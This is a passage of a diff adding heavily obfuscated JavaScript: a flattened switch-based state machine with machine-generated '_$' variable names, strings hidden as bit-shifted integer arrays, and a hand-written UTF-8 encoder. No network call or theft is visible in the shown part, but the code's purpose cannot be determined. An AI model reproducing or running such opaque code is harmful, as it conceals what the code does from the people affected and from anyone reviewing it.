_$b = 5; + _$l = _$k[_$b]; + _$h = _$f - _$l; + _$i = _$h + } else { + _$c = _$i; + _$v = _$t; + _$s = 0; + _$n = _$v[_$s]; + _$f = _$c * _$n; + _$i = _$f; + _$c = _$i; + _$v = _$t; + _$s = 2; + _$n = _$v[_$s]; + _$f = _$c - _$n; + _$i = _$f + } + _$c = _$t; + _$v = 4; + _$s = _$i; + _$n = _$t; + _$f = 5; + _$k = _$n[_$f]; + _$b = _$s - _$k; + _$c[_$v] = _$b; + _$c = _$i; + _$v = _$t; + _$s = 2; + _$n = _$v[_$s]; + _$f = _$c - _$n; + _$i = _$f; + _$c = _$i; + _$v = _$t; + _$s = 8; + _$n = _$v[_$s]; + _$f = _$c / _$n; + _$i = _$f; + _$c = _$i; + _$v = _$t; + _$s = 2; + _$n = _$v[_$s]; + _$f = _$c - _$n; + _$i = _$f; + _$c = 1; + _$v = -_$c; + return _$v + } + ; + _$wT = _$vl; + _$sl = _$uf + _$kn + _$fn + _$nn + _$sn + _$tn + _$in + _$on; + _$Qy = _$sl; + _$nl = _$Qy; + _$fl = _$PC; + _$ol = _$nl[_$fl]; + _$wj = _$ol; + _$ll = 0; + _$Aj = _$ll; + _$cl = []; + _$Sj = _$cl; + _$cl = _$pT; + _$vl = _$PC; + _$sl = _$cl[_$vl]; + _$nl = 4; + _$fl = _$sl / _$nl; + _$Jg = _$fl; + for (_$wd = 0; _$wd < _$Jg; _$wd++) { + _$cl = _$Qy; + _$vl = _$pT; + _$sl = _$_C; + _$nl = _$Aj; + _$fl = _$vl[_$sl](_$nl); + _$ol = _$wT(_$cl, _$fl); + _$Ij = _$ol; + _$Aj++; + _$cl = _$Qy; + _$vl = _$pT; + _$sl = _$_C; + _$nl = _$Aj; + _$fl = _$vl[_$sl](_$nl); + _$ol = _$wT(_$cl, _$fl); + _$ru = _$ol; + _$Aj++; + _$cl = _$Qy; + _$vl = _$pT; + _$sl = _$_C; + _$nl = _$Aj; + _$fl = _$vl[_$sl](_$nl); + _$ol = _$wT(_$cl, _$fl); + _$eu = _$ol; + _$Aj++; + _$cl = _$Qy; + _$vl = _$pT; + _$sl = _$_C; + _$nl = _$Aj; + _$fl = _$vl[_$sl](_$nl); + _$ol = _$wT(_$cl, _$fl); + _$au = _$ol; + _$Aj++; + _$cl = _$Sj; + _$vl = _$wd; + _$sl = _$Ij; + _$nl = _$wj; + _$fl = _$sl * _$nl; + _$ol = _$wj; + _$ll = _$fl * _$ol; + _$hl = _$wj; + _$gl = _$ll * _$hl; + _$Zl = _$ru; + _$zl = _$wj; + _$El = _$Zl * _$zl; + _$Rl = _$wj; + _$_l = _$El * _$Rl; + _$Ll = _$gl + _$_l; + _$Vl = _$eu; + _$ql = _$wj; + _$tu = _$Vl * _$ql; + _$iu = _$Ll + _$tu; + _$ou = _$au; + _$ku = _$iu + _$ou; + _$cl[_$vl] = _$ku + } + _$cl = _$BC; + _$Jg = _$cl; + for (_$dd = 0; _$dd < _$Sj.length; _$dd++) { + _$cl = _$Sj; + _$vl = _$dd; + _$sl = _$cl[_$vl]; + _$nl = _$bW(_$sl); + _$Jg += _$nl + } + _$cl = _$Sm; + _$vl = _$Jg; + _$sl = _$pl; + _$nl = _$_C; + _$fl = _$zu; + _$ol = _$sl[_$nl](_$fl); + _$ll = _$cl[_$vl](_$ol); + if (_$ll) { + _$cl = _$Sm; + _$vl = _$pl; + _$sl = _$_C; + _$nl = _$zu; + _$fl = _$vl[_$sl](_$nl); + _$ol = _$cl[_$fl]; + _$yl += _$ol + } else { + _$cl = _$pl; + _$vl = _$_C; + _$sl = _$zu; + _$nl = _$cl[_$vl](_$sl); + _$yl += _$nl + } + } + _$cs -= 61; + continue; + case 475: + _$Tm = []; + _$cs += 6; + continue; + case 476: + _$ng = _$ng + 1; + _$cs += 143; + continue; + case 477: + _$Zg = _$Zg * _$Ng[7]; + _$cs += 14; + continue; + case 478: + _$Bp = _$dl; + _$Xp = {}; + _$Fp = _$Wk + _$Ak + _$Rs + _$Es + _$en + _$qs + _$jo + _$Po + _$Lo + _$Hs + _$rn + _$_s + _$uk + _$cn + _$vn + _$Bs + _$Fs + _$bk + _$xs + _$Zs; + _$ay = _$bW(_$Fp.d(0) - _$Fp.length); + _$cs += 9; + continue; + case 479: + _$ng = _$ng.p(_$zg); + _$cs += 233; + continue; + case 480: + for (_$Vj = 0; _$Vj < _$_j.length; _$Vj++) { + _$cl = _$Lj; + _$vl = _$_j; + _$sl = _$Vj; + _$nl = _$vl[_$sl]; + _$fl = 2; + _$ol = _$nl >> _$fl; + _$ll = _$bW(_$ol); + _$hl = _$cl + _$ll; + _$Lj = _$hl + } + _$cs += 135; + continue; + case 481: + for (_$jm = 0, + _$hj = _$yl.length; _$jm < _$hj; _$jm++) { + _$cl = _$Tm; + _$vl = _$LC; + _$sl = _$yl; + _$nl = _$OC; + _$fl = _$jm; + _$ol = _$sl[_$nl](_$fl); + _$cl[_$vl](_$ol) + } + _$cs -= 366; + continue; + case 482: + _$dY = _$EK; + _$cs -= 83; + continue; + case 483: + _$vA = _$vA + 1; + _$cs -= 339; + continue; + case 484: + _$aA = _$aA.p(_$du); + _$cs += 250; + continue; + case 485: + for (_$wj = 0; _$wj < _$wT.length; _$wj++) { + _$cl = _$Qy; + _$vl = _$wT; + _$sl = _$wj; + _$nl = _$vl[_$sl]; + _$fl = 3; + _$ol = _$nl >> _$fl; + _$ll = _$bW(_$ol); + _$hl = _$cl + _$ll; + _$Qy = _$hl + } + _$cs -= 406; + continue; + case 486: + _$Tu = 1; + _$cs += 123; + continue; + case 487: + if (_$pg && !_$oA) { + _$cl = _$bA; + _$vl = 3; + _$sl = _$cl % _$vl; + _$_g = _$sl; + _$cl = _$oA; + _$vl = _$_g; + _$sl = _$cl + _$vl; + _$_g = _$sl + } + _$cs += 233; + continue; + case 488: + _$iC = _$IS; + _$oC = 1; + _$cs -= 284; + continue; + case 489: + if (_$wD && _$qg) { + _$cl = _$RA; + _$kC = _$cl; + _$vl = _$kC; + _$sl = _$OC; + _$nl = 0; + _$fl = _$vl[_$sl](_$nl); + _$ol = _$kC; + _$ll = _$PC; + _$hl = _$ol[_$ll]; + _$gl = _$fl - _$hl; + _$Zl = _$bW(_$gl); + _$bC = _$Zl; + for (_$lC = 1; _$lC < _$kC.length; _$lC++) { + _$cl = _$kC; + _$vl = _$OC; + _$sl = _$lC; + _$nl = _$cl[_$vl](_$sl); + _$fl = _$bC; + _$ol = _$OC; + _$ll = _$lC; + _$hl = 1; + _$gl = _$ll - _$hl; + _$Zl = _$fl[_$ol](_$gl); + _$zl = _$nl - _$Zl; + _$El = _$bW(_$zl); + _$bC += _$El + } + _$cl = _$EA; + _$hC = _$cl; + _$vl = 1; + _$gC = _$vl; + _$cl = _$gC; + _$vl = 1; + _$sl = _$cl + _$vl; + _$gC = _$sl; + _$cl = 1; + _$hC = _$cl; + _$cl = _$BC; + _$uC = _$cl; + _$cl = _$gC; + _$hC = _$cl; + _$cl = 3712; + _$vl = 3552; + _$sl = 3584; + _$nl = [_$cl, _$vl, _$sl]; + _$gC = _$nl; + for (_$pC = 0; _$pC < _$gC.length; _$pC++) { + _$cl = _$uC; + _$vl = _$gC; + _$sl = _$pC; + _$nl = _$vl[_$sl]; + _$fl = 5; + _$ol = _$nl >> _$fl; + _$ll = _$bW(_$ol); + _$hl = _$cl + _$ll; + _$uC = _$hl + } + _$cl = _$gC; + _$vl = _$LC; + _$sl = _$hC; + _$nl = _$cl[_$vl](_$sl); + _$gC = _$nl; + _$cl = _$qg; + _$vl = _$Hg; + _$sl = _$bC; + _$nl = _$cl[_$vl](_$sl); + _$fl = _$nl; + if (!_$fl) { + _$nh = _$qg; + _$fh = _$uC; + _$fl = _$nh[_$fh] + } + _$wD = _$fl + } + _$cs += 225; + continue; + case 490: + _$LY = []; + _$cs += 232; + continue; + case 491: + if (_$Ng[6] - _$Ng[5] > 0) { + _$cl = _$Zg; + _$vl = _$Ng; + _$sl = 3; + _$nl = _$vl[_$sl]; + _$fl = _$cl + _$nl; + _$Zg = _$fl; + _$cl = _$Zg; + _$vl = _$Ng; + _$sl = 2; + _$nl = _$vl[_$sl]; + _$fl = _$cl + _$nl; + _$ol = _$Ng; + _$ll = 5; + _$hl = _$ol[_$ll]; + _$gl = _$fl - _$hl; + _$Zg = _$gl + } else { + _$cl = _$Zg; + _$vl = _$Ng; + _$sl = 6; + _$nl = _$vl[_$sl]; + _$fl = _$cl * _$nl; + _$Zg = _$fl; + _$cl = _$Zg; + _$vl = _$Ng; + _$sl = 2; + _$nl = _$vl[_$sl]; + _$fl = _$cl - _$nl; + _$Zg = _$fl + } + _$cs += 237; + continue; + case 492: + _$Nu = _$Zu; + _$cs -= 52; + continue; + case 493: + _$Yu = _$Uu; + _$cs -= 189; + continue; + case 494: + _$xW = _$gj; + _$cs -= 339; + continue; + case 495: + _$zg = _$zg / _$Zg[4]; + _$cs += 263; + continue; + case 496: + _$aA = [25600, 25856, 25344, 28416, 25600, 25856, 21760, 20992, 18688]; + _$cs -= 76; + continue; + case 497: + return _$Gg; + case 498: + if (_$Ng[8] - _$Ng[5] > 0) { + _$cl = _$Zg; + _$vl = _$Ng; + _$sl = 4; + _$nl = _$vl[_$sl]; + _$fl = _$cl + _$nl; + _$Zg = _$fl; + _$cl = _$Zg; + _$vl = _$Ng; + _$sl = 6; + _$nl = _$vl[_$sl]; + _$fl = _$cl + _$nl; + _$ol = _$Ng; + _$ll = 5; + _$hl = _$ol[_$ll]; + _$gl = _$fl - _$hl; + _$Zg = _$gl + } else { + _$cl = _$Zg; + _$vl = _$Ng; + _$sl = 0; + _$nl = _$vl[_$sl]; + _$fl = _$cl * _$nl; + _$Zg = _$fl; + _$cl = _$Zg; + _$vl = _$Ng; + _$sl = 2; + _$nl = _$vl[_$sl]; + _$fl = _$cl - _$nl; + _$Zg = _$fl + } + _$cs -= 233; + continue; + case 499: + _$ig = _$BC; + _$cs -= 258; + continue; + case 500: + if (_$wD && _$qg) { + _$cl = _$dS; + _$wC = _$cl; + _$vl = 1; + _$dC = _$vl; + _$cl = _$dC; + _$vl = 1; + _$sl = _$cl + _$vl; + _$dC = _$sl; + _$cl = 1; + _$wC = _$cl; + _$cl = _$BC; + _$MC = _$cl; + _$cl = _$dC; + _$wC = _$cl; + _$cl = 1856; + _$vl = 1776; + _$sl = 1792; + _$nl = [_$cl, _$vl, _$sl]; + _$dC = _$nl; + for (_$IC = 0; _$IC < _$dC.length; _$IC++) { + _$cl = _$MC; + _$vl = _$dC; + _$sl = _$IC; + _$nl = _$vl[_$sl]; + _$fl = 4; + _$ol = _$nl >> _$fl; + _$ll = _$bW(_$ol); + _$hl = _$cl + _$ll; + _$MC = _$hl + } + _$cl = _$dC; + _$vl = _$LC; + _$sl = _$wC; + _$nl = _$cl[_$vl](_$sl); + _$dC = _$nl; + _$cl = _$wS; + _$UC = _$cl; + _$cl = _$UC; + _$vl = _$PC; + _$sl = _$cl[_$vl]; + _$AC = _$sl; + _$cl = []; + _$VC = _$cl; + for (_$qC = 0; _$qC < _$AC; _$qC++) { + _$cl = _$UC; + _$vl = _$OC; + _$sl = _$qC; + _$nl = _$cl[_$vl](_$sl); + _$TC = _$nl; + _$cl = _$TC; + _$vl = 65536; + _$sl = _$cl >= _$vl; + _$nl = _$sl; + if (_$nl) { + _$nh = _$TC; + _$fh = 1114111; + _$nl = _$nh <= _$fh + } + if (_$nl) { + _$cl = _$VC; + _$vl = _$LC; + _$sl = _$TC; + _$nl = 18; + _$fl = _$sl >> _$nl; + _$ol = 7; + _$ll = _$fl & _$ol; + _$hl = 240; + _$gl = _$ll | _$hl; + _$cl[_$vl](_$gl); + _$cl = _$VC; + _$vl = _$LC; + _$sl = _$TC; + _$nl = 12; + _$fl = _$sl >> _$nl; + _$ol = 63; + _$ll = _$fl & _$ol; + _$hl = 128; + _$gl = _$ll | _$hl; + _$cl[_$vl](_$gl); + _$cl = _$VC; + _$vl = _$LC; + _$sl = _$TC; + _$nl = 6; + _$fl = _$sl >> _$nl; + _$ol = 63; + _$ll = _$fl & _$ol; + _$hl = 128; + _$gl = _$ll | _$hl; + _$cl[_$vl](_$gl); + _$cl = _$VC; + _$vl = _$LC; + _$sl = _$TC; + _$nl = 63; + _$fl = _$sl & _$nl; + _$ol = 128; + _$ll = _$fl | _$ol; + _$cl[_$vl](_$ll) + } else { + _$cl = _$TC; + _$vl = 2048; + _$sl = _$cl >= _$vl; + _$nl = _$sl; + if (_$nl) { + _$nh = _$TC; + _$fh = 65535; + _$nl = _$nh <= _$fh + } + if (_$nl) { + _$cl = _$VC; + _$vl = _$LC; + _$sl = _$TC; + _$nl = 12; + _$fl = _$sl >> _$nl; + _$ol = 15; + _$ll = _$fl & _$ol; + _$hl = 224; + _$gl = _$ll | _$hl; + _$cl[_$vl](_$gl); + _$cl = _$VC; + _$vl = _$LC; + _$sl = _$TC; + _$nl = 6; + _$fl = _$sl >> _$nl; + _$ol = 63; + _$ll = _$fl & _$ol; + _$hl = 128; + _$gl = _$ll | _$hl; + _$cl[_$vl](_$gl); + _$cl = _$VC; + _$vl = _$LC; + _$sl = _$TC; + _$nl = 63; + _$fl = _$sl & _$nl; + _$ol = 128; + _$ll = _$fl | _$ol; + _$cl[_$vl](_$ll) + } else { + _$cl = _$TC; + _$vl = 128; + _$sl = _$cl >= _$vl; + _$nl = _$sl; + if (_$nl) { + _$nh = _$TC; + _$fh = 2047; + _$nl = _$nh <= _$fh + } + if (_$nl) { + _$cl = _$VC; + _$vl = _$LC; + _$sl = _$TC; + _$nl = 6; + _$fl = _$sl >> _$nl; + _$ol = 31; + _$ll = _$fl & _$ol; + _$hl = 192; + _$gl = _$ll | _$hl; + _$cl[_$vl](_$gl); + _$cl = _$VC; + _$vl = _$LC; + _$sl = _$TC; + _$nl = 63; + _$fl = _$sl & _$nl; + _$ol = 128; + _$ll = _$fl | _$ol; + _$cl[_$vl](_$ll) + } else { + _$cl = _$VC; + _$vl = _$LC; + _$sl = _$TC; + _$nl = 255; + _$fl = _$sl & _$nl; + _$cl[_$vl](_$fl) + } + } + } + } + _$cl = _$VC; + _$vl = _$PC; + _$sl = _$cl[_$vl]; + _$jC = _$sl; + _$cl = _$jC; + _$vl = 2; + _$sl = _$cl / _$vl; + _$jC = _$sl; + _$cl = []; + _$HC = _$cl; + _$cl = 0; + _$DC = _$cl; + for (_$xC = 0; _$xC < _$jC; _$xC++) { + _$cl = _$VC; + _$vl = _$DC; + _$sl = _$cl[_$vl]; + _$WC = _$sl; + _$cl = _$VC; + _$vl = _$DC; + _$sl = 1; + _$nl = _$vl + _$sl; + _$fl = _$cl[_$nl]; + _$YC = _$fl; + _$cl = _$DC; + _$vl = 2; + _$sl = _$cl + _$vl; + _$DC = _$sl; + _$cl = _$WC; + _$vl = 46; + _$sl = _$cl - _$vl; + _$WC = _$sl; + _$cl = _$YC; + _$vl = 46; + _$sl = _$cl - _$vl; + _$YC = _$sl; + _$cl = _$YC; + _$vl = 19; + _$sl = _$cl * _$vl; + _$nl = _$WC; + _$fl = _$sl + _$nl; + _$QC = _$fl; + _$cl = _$QC; + _$vl = 11; + _$sl = _$cl ^ _$vl; + _$KC = _$sl; + _$cl = _$HC; + _$vl = _$xC; + _$sl = _$KC; + _$cl[_$vl] = _$sl + } + _$cl = _$BC; + _$XC = _$cl; + for (_$eD = 0; _$eD < _$HC.length; _$eD++) { + _$cl = _$HC; + _$vl = _$eD; + _$sl = _$cl[_$vl]; + _$nl = _$rb + _$cb; + _$fl = 2; + _$ol = _$sl[_$nl](_$fl); + _$FC = _$ol; + _$cl = _$FC; + _$vl = _$LS; + _$sl = /^1+?(?=0)/; + _$nl = _$cl[_$vl](_$sl); + _$JC = _$nl; + _$cl = _$JC; + _$vl = _$cl; + if (_$vl) { + _$nh = _$FC; + _$fh = _$PC; + _$uh = _$nh[_$fh]; + _$ph = 8; + _$vl = _$uh === _$ph + } + if (_$vl) { + _$cl = _$JC; + _$vl = 0; + _$sl = _$cl[_$vl]; + _$nl = _$PC; + _$fl = _$sl[_$nl]; + _$$C = _$fl; + _$cl = _$HC; + _$vl = _$eD; + _$sl = _$cl[_$vl]; + _$nl = _$ab + _$eb; + _$fl = 2; + _$ol = _$sl[_$nl](_$fl); + _$ll = _$_S; + _$hl = 7; + _$gl = _$$C; + _$Zl = _$hl - _$gl; + _$zl = _$ol[_$ll](_$Zl); + _$aD = _$zl; + for (_$rD = 0; _$rD < _$$C; _$rD++) { + _$cl = _$HC; + _$vl = _$rD; + _$sl = _$eD; + _$nl = _$vl + _$sl; + _$fl = _$cl[_$nl]; + _$ol = _$rb + _$cb; + _$ll = 2; + _$hl = _$fl[_$ol](_$ll); + _$gl = _$_S; + _$Zl = 2; + _$zl = _$hl[_$gl](_$Zl); + _$aD += _$zl + } + _$cl = _$aD; + _$vl = 2; + _$sl = parseInt(_$cl, _$vl); + _$nl = _$bW(_$sl); + _$XC += _$nl; + _$cl = _$$C; + _$vl = 1; + _$sl = _$cl - _$vl; + _$eD += _$sl + } else { + _$cl = _$HC; + _$vl = _$eD; + _$sl = _$cl[_$vl]; + _$nl = _$bW(_$sl); + _$XC += _$nl + } + } + _$cl = _$qg; + _$vl = _$Hg; + _$sl = _$XC; + _$nl = _$cl[_$vl](_$sl); + _$fl = _$nl; + if (!_$fl) { + _$nh = _$qg; + _$fh = _$MC; + _$fl = _$nh[_$fh] + } + _$wD = _$fl + } + _$cs -= 162; + continue; + case 501: + _$cD = []; + _$cs -= 487; + continue; + case 502: + _$Fu = _$Rp[_$vp]; + _$cs -= 370; + continue; + case 503: + _$KI = Array(_$mI + 1); + _$cs -= 335; + continue; + case 504: + _$eK = [8704, 12416, 14848, 12928]; + _$cs -= 108; + continue; + case 505: + for (_$hg = 0; _$hg < _$lg.length; _$hg++) { + _$cl = _$wy; + _$vl = _$CA; + _$sl = _$cl === _$vl; + if (_$sl) { + _$cl = 0; + _$wy = _$cl; + _$cl = 1; + _$yy += _$cl + } + _$cl = _$rA; + _$vl = _$yy; + _$sl = _$cl[_$vl]; + _$nl = _$wy; + _$fl = _$lg; + _$ol = _$hg; + _$ll = _$fl[_$ol]; + _$sl[_$nl] = _$ll; + _$cl = 1; + _$wy += _$cl + } + _$cs -= 459; + continue; + case 506: + _$xT = [3637248, 3604480, 3571712, 3309568, 3768320, 3768320, 3178496, 3375104, 3309568]; + _$cs -= 400; + continue; + case 507: + _$gj = _$xW; + _$cs -= 174; + continue; + case 508: + _$iC = _$oC; + _$cs += 245; + continue; + case 509: + _$Zg[8] = _$zg / _$Zg[4]; + _$cs -= 281; + continue; + case 510: + _$TW = _$Hj; + _$cs -= 22; + continue; + case 511: + _$vD = _$BC; + _$cs += 174; + continue; + case 512: + for (_$sD = 0; _$sD < _$oC.length; _$sD++) { + _$cl = _$Iu; + _$vl = _$oC; + _$sl = _$sD; + _$nl = _$vl[_$sl]; + _$fl = 5; + _$ol = _$nl >> _$fl; + _$ll = _$bW(_$ol); + _$hl = _$cl + _$ll; + _$Iu = _$hl + } + _$cs -= 243; + continue; + case 513: + _$xQ = 1; + _$cs -= 2; + continue; + case 514: + if (_$pg + _$oA > 0) { + _$cl = _$bA; + _$vl = 3; + _$sl = _$cl >> _$vl; + _$_g = _$sl; + _$cl = _$oA; + _$vl = _$_g; + _$sl = _$cl + _$vl; + _$_g = _$sl; + _$cl = _$pg; + _$vl = _$bA; + _$sl = _$_g; + _$nl = _$vl * _$sl; + _$fl = _$cl >> _$nl; + _$ol = _$pg; + _$ll = _$fl >> _$ol; + _$oA = _$ll; + _$cl = _$oA; + _$vl = _$_g; + _$sl = _$cl / _$vl; + _$_g = _$sl + } + _$cs += 227; + continue; + case 515: + _$Zg = _$Zg / _$Ng[4]; + _$cs -= 296; + continue; + case 516: + _$bg = _$og[4] + _$og[6]; + _$cs -= 328; + continue; + case 517: + _$Sm = _$Xp; + _$cs -= 115; + continue; + case 518: + _$Rj = 1; + _$cs += 89; + continue; + case 519: + if (_$pg + _$_g < _$oA) { + _$cl = _$pg; + _$vl = _$bA; + _$sl = _$_g; + _$nl = _$vl + _$sl; + _$fl = _$cl >> _$nl; + _$ol = _$pg; + _$ll = _$oA; + _$hl = _$ol - _$ll; + _$gl = _$fl >> _$hl; + _$Zl = _$_g; + _$zl = _$gl >> _$Zl; + _$_g = _$zl + } + _$cs -= 242; + continue; + case 520: + if (_$Zg[6] - _$Zg[5] > 0) { + _$cl = _$zg; + _$vl = _$Zg; + _$sl = 3; + _$nl = _$vl[_$sl]; + _$fl = _$cl + _$nl; + _$zg = _$fl; + _$cl = _$zg; + _$vl = _$Zg; + _$sl = 2; + _$nl = _$vl[_$sl]; + _$fl = _$cl + _$nl; + _$ol = _$Zg; + _$ll = 5; + _$hl = _$ol[_$ll]; + _$gl = _$fl - _$hl; + _$zg = _$gl + } else { + _$cl = _$zg; + _$vl = _$Zg; + _$sl = 6; + _$nl = _$vl[_$sl]; + _$fl = _$cl * _$nl; + _$zg = _$fl; + _$cl = _$zg; + _$vl = _$Zg; + _$sl = 2; + _$nl = _$vl[_$sl]; + _$fl = _$cl - _$nl; + _$zg = _$fl + } + _$cs += 395; + case 521: + _$Gg = 1; + _$cs -= 337; + continue; + case 522: + _$ju = [2048, 7808, 2112, 4352, 2176, 3840, 2240, 7488, 2304, 7680, 2368, 4160, 2432, 3904, 2496, 6528, 2560, 2944, 2624, 3456, 8064, 2304, 2688, 3328, 2752, 6976, 2816, 2688, 2880, 6848, 2944, 5440, 3008, 5184, 3072, 3968, 3136, 4800, 3200, 3776, 3264, 3072, 3328, 4992, 3392, 6336, 3456, 4288, 3520, 4096, 3584, 7552, 3648, 7744, 3712, 3392, 3776, 6720, 3840, 3264, 3904, 2176, 3968, 6016, 4032, 7360, 4096, 4672, 4160, 2368, 4224, 5056, 4288, 7872, 4352, 5824, 4416, 2048, 4480, 7936, 4544, 6400, 4608, 3648, 4672, 2624, 4736, 4608, 4800, 4416, 4864, 6464, 4928, 3712, 4992, 5568, 5056, 2112, 5120, 6592, 5184, 2560, 5248, 2880, 5312, 6208, 5376, 4736, 5440, 7104, 5504, 6080, 5568, 4928, 5632, 3008, 5696, 5952, 5760, 6144, 5824, 5888, 5888, 6784, 5952, 2816, 6016, 3520, 6080, 2240, 6144, 4864, 6208, 7232, 6272, 5376, 6336, 4224, 6400, 5632, 6464, 6272, 6528, 2752, 6592, 6912, 6656, 7040, 6720, 5696, 6784, 4032, 6848, 2496, 6912, 4480, 6976, 5760, 7040, 3136, 7104, 3200, 7168, 5120, 7232, 7424, 7296, 8e3, 7360, 2432, 7424, 5504, 7488, 4544, 7552, 7616, 7616, 6656, 7680, 7296, 7744, 8064, 7808, 5312, 7872, 5248, 7936, 3584, 8e3, 7168]; + _$cs += 110; + continue; + case 523: + for (_$nD = 0; _$nD < _$sC.length; _$nD++) { + _$cl = _$Wh; + _$vl = _$sC; + _$sl = _$nD; + _$nl = _$vl[_$sl]; + _$fl = 15; + _$ol = _$nl >> _$fl; + _$ll = _$bW(_$ol); + _$hl = _$cl + _$ll; + _$Wh = _$hl + } + _$cs += 222; + continue; + case 524: + _$fD = _$TW; + _$tD = _$NS; + _$iD = 1; + _$cs -= 453; + continue; + case 525: + _$zg = _$zg * _$Zg[6]; + _$cs -= 97; + continue; + case 526: + _$ju = _$ju.p(_$Tu); + _$cs -= 388; + continue; + case 527: + _$Uu = _$Uu + 1; + _$cs += 205; + continue; + case 528: + _$fg = new Array(_$Gg); + _$cs -= 306; + continue; + case 529: + if (_$oA + _$bA > 0) { + _$cl = _$oA; + _$vl = _$_g; + _$sl = _$cl + _$vl; + _$_g = _$sl; + _$cl = _$oA; + _$vl = _$_g; + _$sl = _$cl - _$vl; + _$bA = _$sl + } + _$cs -= 289; + continue; + case 530: + _$wy = 1; + _$cs += 106; + continue; + case 531: + _$Zg = _$Xu; + _$cs -= 177; + continue; + case 532: + _$zg = _$zg - _$Zg[2]; + _$cs -= 525; + continue; + case 533: + _$$u = [215040, 225280, 225280, 206848, 233472, 147456, 206848, 215040, 210944, 212992, 237568]; + _$cs -= 444; + continue; + case 534: + _$Zg = _$Eg; + _$cs -= 160; + continue; + case 535: + if (_$CW[_$Qw]) { + _$cl = _$kS; + _$oD = _$cl; + _$vl = 1; + _$kD = _$vl; + _$cl = _$kD; + _$vl = 1; + _$sl = _$cl + _$vl; + _$kD = _$sl; + _$cl = 1; + _$oD = _$cl; + _$cl = _$BC; + _$bD = _$cl; + _$cl = _$kD; + _$oD = _$cl; + _$cl = 41984; + _$vl = 51712; + _$sl = 52736; + _$nl = 35328; + _$fl = 61440; + _$ol = 57344; + _$ll = [_$cl, _$vl, _$sl, _$nl, _$fl, _$ol]; + _$kD = _$ll; + for (_$lD = 0; _$lD < _$kD.length; _$lD++) { + _$cl = _$bD; + _$vl = _$kD; + _$sl = _$lD; + _$nl = _$vl[_$sl]; + _$fl = 9; + _$ol = _$nl >> _$fl; + _$ll = _$bW(_$ol); + _$hl = _$cl + _$ll; + _$bD = _$hl + } + _$cl = _$kD; + _$vl = _$LC; + _$sl = _$oD; + _$nl = _$cl[_$vl](_$sl); + _$kD = _$nl; + _$cl = _$CW; + _$vl = _$bD; + _$sl = _$cl[_$vl]; + _$Dw = _$sl + } + _$cs -= 186; + continue; + case 536: + _$Id = []; + _$cs -= 173; + continue; + case 537: + _$zg = -5; + _$cs -= 389; + continue; + case 538: + _$XT = _$FT; + _$cs += 164; + continue; + case 539: + _$bg = _$bg - _$og[2]; + _$cs += 23; + continue; + case 540: + _$hD = _$ZS; + _$gD = 1; + _$cs -= 67; + continue; + case 541: + _$Ng = _$Ng + 1; + _$cs -= 210; + continue; + case 542: + _$Kh = []; + _$cs -= 153; + continue; + case 543: + for (_$Ch = 0, + _$Dh = _$vp.length; _$Ch < _$Dh; ++_$Ch) { + _$cl = _$vp; + _$vl = _$Ch; + _$sl = _$cl[_$vl]; + _$nl = _$Ou; + _$fl = _$sl !== _$nl; + if (_$fl) { + _$cl = _$vp; + _$vl = _$Ch; + _$sl = _$cl[_$vl]; + _$nl = parseInt(_$sl); + _$fl = 7; + _$ol = _$nl + _$fl; + _$ll = 10; + _$hl = _$ol % _$ll; + _$Pu += _$hl + } else { + _$cl = _$Ou; + _$Pu += _$cl + } + } + _$cs -= 1; + continue; + case 544: + for (_$md = 0, + _$Td = _$FW.length; _$md < _$Td; ++_$md) { + _$cl = _$UW; + _$vl = _$LC; + _$sl = _$FW; + _$nl = _$md; + _$fl = _$sl[_$nl]; + _$ol = 24; + _$ll = _$fl ^ _$ol; + _$cl[_$vl](_$ll); + _$cl = _$MY; + _$vl = _$LC; + _$sl = _$FW; + _$nl = _$md; + _$fl = _$sl[_$nl]; + _$ol = 146; + _$ll = _$fl ^ _$ol; + _$cl[_$vl](_$ll) + } + _$cs -= 469; + continue; + case 545: + _$hD = 1; + _$cs -= 309; + continue; + case 546: + _$ig = _$bW(_$Eg.d(0) - _$Eg.length); + _$cs -= 168; + continue; + case 547: + for (_$kj = 0; _$kj < _$ij.length; _$kj++) { + _$cl = _$qI; + _$vl = _$ij; + _$sl = _$kj; + _$nl = _$vl[_$sl]; + _$fl = 9; + _$ol = _$nl >> _$fl; + _$ll = _$bW(_$ol); + _$hl = _$cl + _$ll; + _$qI = _$hl + } + _$cs -= 280; + continue; + case 548: + _$Yp = _$BC; + _$cs -= 129; + continue; + case 549: + _$wg = [10496, 24320, 16384, 21504, 28416, 15616, 14336, 16896, 22016, 15360, 13312, 16896, 32e3, 14848]; + _$cs -= 350; + continue; + case 550: + for (_$uD = 0; _$uD < _$RQ.length; _$uD++) { + _$cl = _$aQ; + _$vl = _$RQ; + _$sl = _$uD; + _$nl = _$vl[_$sl]; + _$fl = 3; + _$ol = _$nl >> _$fl; + _$ll = _$bW(_$ol); + _$hl = _$cl + _$ll; + _$aQ = _$hl + } + _$cs += 141; + continue; + case 551: + for (_$LI = 0, + _$VI = _$rj.length; _$LI < _$VI; ++_$LI) { + _$cl = _$rj; + _$vl = _$LI; + _$sl = _$cl[_$vl]; + _$nl = _$bW(_$sl); + _$_I += _$nl + } + _$cs -= 268; + continue; + case 552: + _$pD = _$BC; + _$cs -= 247; + continue; + case 553: + _$ND = _$ND + 1; + _$cs += 214; + continue; + case 554: + _$yD = _$jw; + _$wD = _$qg === _$CW || _$qg === {}; + _$cs -= 150; + continue; + case 555: + _$ej = _$_d; + _$cs -= 245; + continue; + case 556: + _$Lj = _$BC; + _$cs += 30; + continue; + case 557: + for (_$ng = 0; _$ng < 10; _$ng++) { + _$cl = _$Zg; + _$vl = _$LC; + _$sl = _$ng; + _$nl = 6; + _$fl = _$sl + _$nl; + _$cl[_$vl](_$fl) + } + _$cs += 15; + case 558: + _$zg = _$Zg[4] + _$Zg[6]; + _$cs += 101; + continue; + case 559: + _$vA = _$vA + 1; + _$cs -= 164; + continue; + case 560: + _$Ju = _$$u; + _$cs -= 27; + continue; + case 561: + _$lg = new Array(_$VY.length); + _$cs -= 316; + continue; + case 562: + _$yI = _$yI.p(_$pI); + _$cs -= 233; + continue; + case 563: + _$Ru = _$Ru + 1; + _$cs -= 274; + continue; + case 564: + _$zg = _$zg - _$Zg[2]; + _$cs -= 298; + continue; + case 565: + _$zg = _$zg / _$Zg[4]; + _$cs += 121; + case 566: + if (_$zg - _$Zg[6]) { + _$cl = _$zg; + _$vl = _$Zg; + _$sl = 3; + _$nl = _$vl[_$sl]; + _$fl = _$cl + _$nl; + _$zg = _$fl + } + _$cs -= 316; + continue; + case 567: + _$zg = _$zg * _$Zg[6]; + _$cs -= 440; + continue; + case 568: + _$tD = 1; + _$cs -= 488; + continue; + case 569: + _$dD = _$fQ; + _$MD = 